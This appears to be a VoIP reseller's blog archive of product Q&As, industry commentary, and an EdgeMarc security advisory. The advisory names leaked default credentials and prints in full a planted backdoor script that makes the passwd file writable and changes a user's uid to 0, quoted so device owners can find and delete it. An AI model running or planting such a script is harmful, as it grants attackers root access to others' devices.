Questions about VoIP devices and services are regularly submitted to VoIPSupply.com through a technical support ticket or via the “Ask The Expert” tab on our product pages.
We respond to these requests directly but more often than not, this Q & A would be helpful for lots of other folks.
Below are your VoIP questions answered – Real questions from real people just like you.
Q: What is the default log in and password out of the box of the EdgeMarc 250W [Model] #250W-100-0002?
EdgeMarc 250W Enterprise Session Border Controller Handles, and Protects, up to 10 Concurrent Calls
A: The EdgeMarc 250W is an Enterprise Session Border Controller (SBC) that handles up to 10 concurrent calls, protecting them from malicious attacks. This SBC is designed for small and medium sized offices.
In that post there are instructions on how to tell if your password needs to be changed.
Q: I am wondering if this phone [snom 300 UC Edition] comes with the parts to mount it to the wall or if I need to get a separate wall mount kit?
snom 300 UC VoIP Phone Qualified for Microsoft Lync
A: The snom 300 UC Edition is a basic 2-line VoIP phone qualified for use with Microsoft Lync.
To answer your question, the snom 300 comes with a dual-purpose footstand that allows you to either prop the phone up on your desk, or mount it on the wall with the pre-drilled holes.
Here are two documents and a screenshot (below) that you should check out:
Our friends at Software Advice put together a great infographic highlighting the Life and Death of the Analog Telphone.
This pictorial history takes us through time from the humble telegraph to super-speed Voice over IP and beyond.
Designing the Analog Timeline
Craig Borowski, VoIP and telecommunications researcher at Software Advice shares some background:
The most interesting thing we learned while doing our research is the fact that the telegraph evolved into the telephone. It was fascinating to discover how that evolution took place. For example, as soon as the telegraph was invented, there were people all around the world who immediately started trying to improve it. The inventors kept making improvements in a similar fashion until it made the logical evolution into the telephone, and eventually modern-day VoIP technology.
The trickiest part with designing the timeline was how to conclude it. We felt fairly confident that the current trajectory of analog telephony points to a certain end — analog has been technologically obsolete for many decades. While we could have ended it at the present day, the FCC is showing signs of releasing big national carriers of their obligations to maintain analog systems. We felt the conclusion we chose was fitting — it really is only a matter of time. (Craig Borowski, Software Advice)
VoIP Spreading But People are Hard to Predict
Ben Sayers, CEO and founder of VoIP Supply, shares his experiences with the ongoing switch from analog to VoIP:
Ben Sayers, VoIP Supply Founder
Having been involved in telecom since 1994, I’ve seen a lot of the changes over the years.
My experience with VoIP began in 2004 when we launched VoIPSupply.com and began building VoIP solutions and helping others do the same.
Though I can’t predict the future of telecom and certainly wouldn’t put a date on it, VoIP continues to spread throughout the home and business world as it has reached a mainstream adoption phase.
There is little need for copper phone lines anymore, especially factoring in Mobile and all that it has changed over the last two decades.
With Skype and other desktop voice and video solutions having been around for such a long time without yet replacing the phone on most people’s desks, I have to expect that there is still a lot of runway remaining for fixed telecom with mobile integrations. People’s minds, habits and expectations are incredibly hard to change, including how they talk to other people. (Ben Sayers, VoIP Supply)
Here now is the infographic provided by VoIP and telecom review firm Software Advice
So far 2014 has been a busy year for Aastra. In late January their acquisition by Mitel was completed and then in March they released the Aastra 6800i series of VoIP phones, which marked the first new line of desktop VoIP phones from them in quite some time. Now after a few quiet months some more changes were announced last week with the discontinuing of 3 phone models due to issues sourcing components.
The Aastra 6757i, 6755i and 6753i were the cornerstone of Aastra and some of their most popular VoIP phones for close to a decade and with the utmost respect for these phones, I believe their time had come.
While them being put out to pasture may have been accelerated by the components issues (chipset) between the acquisition by Mitel and the release of the 6800i series phones I personally think it was a matter of when not if it was going to happen.
Again, I don’t mean this as a knock on the phones. I am fully confident that they will continue to serve their current users extremely well and would have continued to sell extremely well for Aastra; but, strictly from a line card perspective Aastra already had newer models out that not only supported newer, better, or more features but are also cheaper.
To help with the transition to alternative Aastra VoIP phone model we’ve pulled together some quick reference sheets that compare the discontinued models to those currently available from Aastra.
Questions about VoIP devices and services are regularly submitted to VoIPSupply.com through a technical support ticket or via the “Ask The Expert” tab on our product pages.
We respond to these requests directly but more often than not, this Q & A would be helpful for lots of other folks.
Below are your VoIP questions answered – Real questions from real people just like you.
Q: How do you connect two calls to make a conference call [Polycom IP 5000] whether they call in or we call out?
Use the “Confrnc” soft key (top row of buttons with functions that display on the screen above)
Or, when you already have an active call and a call on hold, use the “Join” soft key
After you set up the conference, you then have 3 options:
Place the conference call on hold
Split the conference call into two calls on hold
Hang up and end the conference call and your connection
Now that the basics are out of the way lets get to your two scenarios.
Scenario #1: Both Conference Parties Call-In
You’ll be using the “Join” soft key in this example:
When the first caller calls you, place them on hold.
When the second caller calls you, press the “Join” soft key
You’ve now just created a conference call with the second caller (active call), the first caller (the held call), and yourself (you’ve been there all along).
Scenario #2: You Call Both Parties to Set Up Conference Call
You’ll be using the “Conference” soft key in this example:
Call the first party.
Press the “Confrnc” soft key. This places this active call on hold
Dial the number of your second party
Press the “Send” soft key.
When the second party answers, press the Confrnc soft key to join all parties in the conference
What’s so great about the IP 5000, it’s been around for a few years now, you ask? One reason is the echo cancellation because, as this funny Polycom vid points out, you don’t want your calls to sound like someone’s talking over your shoulder:
IP 5000 Overview
For a more detailed overview of the IP 5000, watch our video here:
I was confusing the Polycom RealPresence CloudAXIS Suite with “standards based.”
Click here for my original, and now updated, post and click here to read Graves’ full explanation of the differences between desktop and room-based video conferencing solutions.
Thanks again to Graves for pointing me in the right direction and helping us all get the right information!
Understanding the complexities of next-generation Wi-Fi can present a challenge. An optimized 802.11ac infrastructure comes only as a result of solid wireless fundamentals, thoughtful radio design, smart antenna systems, and dynamic RF adaptation. So how can you get the most out of 11ac?
Want Better Wi-Fi is an educational Webinar Series that offers the real facts and physics necessary to achieve better Wi-Fi. Join us for these highly informative sessions to gain the knowledge you need to make the best wireless networking decisions possible.
Next up in their webinar series is:
Exploiting next generation 802.11ac with smarter antennas | Wednesday, 8AM PST, July 30th
“We all #WantBetterWiFi and the most logical step to achieving this is exploring the new 802.11ac standard. However, it’s important to understand the differences between .11ac wave 1 and .11ac wave 2, and the potential pitfalls involved in an uninformed upgrade. Fully understanding the benefits of this exciting wireless technology, both short and long term, will enable you to make solid network design and deployment decisions.”
Note: This post was updated with new information on August 6, 2014 pertaining to the Polycom video conferencing system mentioned below.
Questions about VoIP devices and services are regularly submitted to VoIPSupply.com through a technical support ticket or via the “Ask The Expert” tab on our product pages.
We respond to these requests directly but more often than not, this Q & A would be helpful for lots of other folks.
Below are your VoIP questions answered – Real questions from real people just like you.
Phoenix Audio Quattro3 USB Conference Phone
Q: Can I connect this [Phoenix Audio Quattro3 USB] to my PC and use it for a Skype call?
Your question perfectly describes the purpose of the Phoenix Audio Quattro3 USB .
From the Quattro3 datasheet:
The USB outlet allows you to connect to the computer for any VoIP sessions such as Skype, Vidyo, etc.
So, the Quattro3 will work with any computer that has a USB port. Its small size makes this speakerphone extremely portable but with its multiple microphones, echo cancellation, noise suppression, and powerful speaker you can easily use the Quattro3 in larger conference rooms.
Polycom RealPresence Group 300 EagleEye Acoustic Video Conferencing System for Small Meeting Rooms and Offices
Q: Is it possible to use the Polycom Realpresence Group 300 with online services such as Skype or Go To Meeting?
A: The Polycom RealPresence Group 300 EagleEye Acoustic is a video conferencing system that’s perfect for your office or small meeting rooms.
The beauty of the RealPresence Group 300 is that it is fully standards-based meaning, you can connect to “millions of other standards-based video systems in use today,” says Polycom.
It also works with leading Unified Communications (UC) platforms (like Microsoft Lync) so you don’t have to add any additional hardware, like expensive gateways.
UPDATE: In reference to the crossed out text about – I was wrong about the Polycom RealPresence capabilities and Michael Graves was right.
Graves correctly called me out in his post, A VoIP Supply Q&A Batting .500!:
When Polycom uses the term “standards based” they mean their product relies upon H.323 and SIP, the two most common standard protocols for VoIP and video conferencing equipment. I don’t believe that such a device can be used to join a Skype or GotoMeeting call. Neither of those services support interop with hardware end-points like the Group 300.
Read his post for a full explanation of the often confusing world of video conferencing interoperability.
I confused “standards based” with the Polycom RealPresence CloudAXIS Suite which, according to a Polycom Executive News Flash a year ago in Q1 2013, would allow RealPresence users to “invite anyone, anywhere with a browser to join reliable and secure video calls” and would be able to support “Skype, Facebook, and Google Talk for simple click-to-connect convenience…beyond the firewall for B2B and B2C connectivity.”
But, as it turns out, in addition to my misleading information, the Skype component of CloudAXIS no longer functions.
If you read the Frequently Asked Questions guide for Polycom RealPresence CloudAXIS:
Important Information Regarding Skype Integration Microsoft announced the discontinuation of the Desktop Skype API as of January 1, 2014. This function is critical for Skype integration with the RealPresence CloudAXIS social directory. Microsoft’s decision not only affects Polycom but many other vendors using the API. Polycom is actively seeking an alternative way to implement this feature but until it is determined we will have a gap in Skype support.
The CloudAXIS FAQ does mention a Skype workaround for the time being which can also be used for “virtually any messaging application”:
Is there a workaround for bringing Skype contacts into a RealPresence CloudAXIS meeting? Yes. Although Skype contacts cannot be imported into the CloudAXIS global directory, users can still invite Skype contacts into a CloudAXIS meeting by simply opening the Skype application on the desktop, checking on the presence status of contacts within Skype, then copying and pasting the CloudAXIS meeting URL in the Skype IM window with a message asking the contact to join the meeting. When the invitee receives the message and clicks the CloudAXIS meeting link, their browser will launch and allow them to join the call. Note that this same process can be used with virtually any messaging application.
Thank you to Michael Graves for pointing me in the right direction.
For more information and background about video conferencing options ranging from webcams to desktops to room systems, I encourage you to check out Graves’ post and these other articles:
Graves on SOHO Technology: A VoIP Supply Q&A Batting .500!
Telepresence Options: Video Calling Options: Dialing H.323/SIP From Your Desktop
Telepresence Options: Polycom’s Big Announcement: A Shotgun Blast Of Videoconferencing Advances
This might affect all EdgeMarc device owners. In short, the default Username / Password of “Root” / “Default” of these devices have been compromised.
However, if you changed your log in credentials when you programmed your EdgeMarc device then you are probably safe. If you were never prompted to change the default username / password you may not have thought to change it.
How to Tell If Your EdgeMarc Password Should be Changed and Steps to Take
From the Bandwidth announcement, here’s how to tell if you need to change your password and the steps to take:
If you are unsure if your specific device has been compromised, you can take the following steps to investigate. However, it is still highly recommended to change the password:
In the EdgeMarc GUI, under ‘System’ click on “Client List”. If there are any entries listed other than known and local IP addresses, there is a strong possibility that your device has been compromised. To resolve, remove the offending IP address.
Additionally, the following steps should be taken to to ensure a secure device:
Disable PPTP (Point-to-Point Protocol) – Under PPTP server > Username, ensure there is no user built unless it is a known user.
Disallow WAN clients – Under VoIP ALG, uncheck both the ‘allow clients on WAN’ option, as well as the ‘Enable LLDP’ option.
Verify no additional scripting has taken place, by looking under ‘User Commands’. Specifically, if the following script is present, it will need to be deleted:
ln -sf /etc /etc/images/m.txt chmod 777 /etc/images/m.txt/config/passwd sed -i -e s’_'”501″‘_'”0″‘_’ /etc/images/m.txt/config/passwd sed -i -e s’_'”501″‘_'”0″‘_’ /etc/images/m.txt/config/passwd sed -i -e s’_'”/etc/images”‘_'”/”‘_’ /etc/images/m.txt/config/passwd
Note: Some EdgeMarc screens within the GUI save changes while you’re making them, and others require you to hit a ‘submit’ button. Please take note of this while making your changes.
Need EdgeMarc Help?
Thank you to Bandwidth for bringing this problem to our attention.
If the above information did not help you and you still have concerns, please call us at 800-398-8647.
The Microsoft WPC is an annual conference for members of the Microsoft Partner Network (MPN). Some of our own partners, of which we carry their Lync products, are exhibiting or sponsoring the WPC 2014 such as:
The WPC features keynote speakers, workshop sessions, and exhibits focused on the latest best practices and trends that businesses are using to become more successful using a Microsoft platform.
For VoIP Supply and you, our customers, we’re concerned mostly with the latest developments in using Microsoft Lync as a communication platform.
Microsoft Lync Has Good Adoption Rate for Unified Communications
If you’re still debating the usefulness of Microsoft Lync or are unsure how it fits into a business communication solution, you should read the Unified Communications Strategies article “Q&A with Enghouse Interactive from Microsoft WPC 2014” written by Blair Pleasant.
In the article Pleasant asks Ernie Wallerstein, President of Enghouse Interactive, about Microsoft Lync trends. Wallerstein comments that there is now a “good adoption rate” for UC especially for instant messaging and using mobile devices or working remotely. He explains the trend further:
Now we’re seeing people leverage Lync as a voice platform and try to federate their Lync experience with other business partners and organizations they communicate with regularly, such as in their supply chain partners. Regarding customer experience management and the contact center, we’re definitely seeing the push towards opening communications to multiple options – chat, voice, email, and more. Microsoft Lync and Skype are pushing out the customer experience to people so they can communicate anyway they want, from anywhere, and on any device. We’re seeing the proliferation of Lync on mobile devices to let people communicate via the medium of choice (Unified Communications Strategies, July 14, 2014).
Other Microsoft Lync trends that Wallerstein points out include giving customers several options to contact you through their mobile device via voice, web, or app.
What’s happening now is that a customer initiates a chat session online with your representative and then, thanks to Lync’s functionality, you can escalate that conversation with one click to speak with them in real-time with either voice or video.
Oftentimes though the video sessions are used only by customer to show a technical support person what’s wrong with their particular device. But the video option is there and that array of communication choices that Lync provides are what today’s consumers want.
Lync Phones, Speakerphones, Headsets, Conference Phones, and Gateways
As Microsoft Lync continues to change how we use our VoIP systems, the technology is adapting along with it.
There is a bevy of devices that are either “optimized” for use with Lync or they are “compatible” with Lync.
We currently carry a range of phones, speakerphones, headsets, and conference phones that are either optimized or (what did we learn above?) compatible with Lync. Read on for some examples:
Lync Phones, Speakerphones, and Conference Phones
Polycom CX500 Features Embedded Microsoft® Communicator “14” Software
Plantronics Calisto P620-M is a Personal Bluetooth Conference Phone Optimized for use with Microsoft Lync
Lync Headsets
Plantronics Savi W445-M is a Monaural Wireless DECT Headset Optimized for Microsoft Lync PC Voice Communications
Jabra UC Voice 550 MS Mono is a Single Ear Plug & Play USB Headset Optimized for Microsoft Lync and Microsoft Office Communicator
Lync Gateways
Patton Smartnode 4940 Series VoIP Gateway
Lync Video with Polycom CX5100 Lync Unified Conference Station
Another interesting option if you want to combine Lync video capabilites with a conference phone is the Polycom CX5100 Unified Conference Station which is part of the Polycom CX series of Lync-optimized solutions.
With a user-friendly design, the CX5100 makes it easy to launch or join a call directly from the Lync user environment. All you have to do is connect the CX5100 with a USB to any computer that is running Lync.
Polycom CX5100 Lync Optimized Unified Conference Station
